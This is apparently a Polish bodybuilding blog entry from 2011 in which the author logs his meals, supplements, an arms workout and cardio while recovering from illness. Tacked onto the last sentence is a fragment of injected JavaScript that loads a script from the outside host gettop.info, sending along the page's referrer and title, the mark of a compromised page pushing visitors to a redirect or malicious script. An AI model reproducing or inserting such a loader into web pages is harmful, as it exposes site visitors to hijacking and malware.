wtorek:-(

30.08.2011 / Michał Karmowski

Dziś w nocy zmieniłem dwie koszulki bo tak się wypociłem po aspirynie, rano dalej bolała mnie głowa ale wstałem o 6.00 zjadłem śniadanie i pojechałem na zajęcia personalne do klubu.

Z braku czasu musiałem zrobić trening zaraz po śniadaniu co po chorobie i osłabieniu nie było najlepszym wyborem.

dieta:

1-600g białek jaj, 150g płatków zalanych kawa z cynamonem, 100g awokado

przed treningiem 2 miarki s.a.w. oraz 2 miarki bcaa i glutaminy

Trening:triceps &biceps, a po treningu 75g z isolate 100, 2 miarki bcaa i 2 miarki glutaminy

2,3,4,5,- 300g kurczaka z grill w ziolach, 75g ryzu basmati, 15g oleju lnianego

30 min aerobów

6-350g wołowiny , 100g awkado

dzien ogolnie słaby ale chociaż zrobiłem trening i dałem rade machnąć aeroby, jutro nogi …}s.src='http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + ''; } else {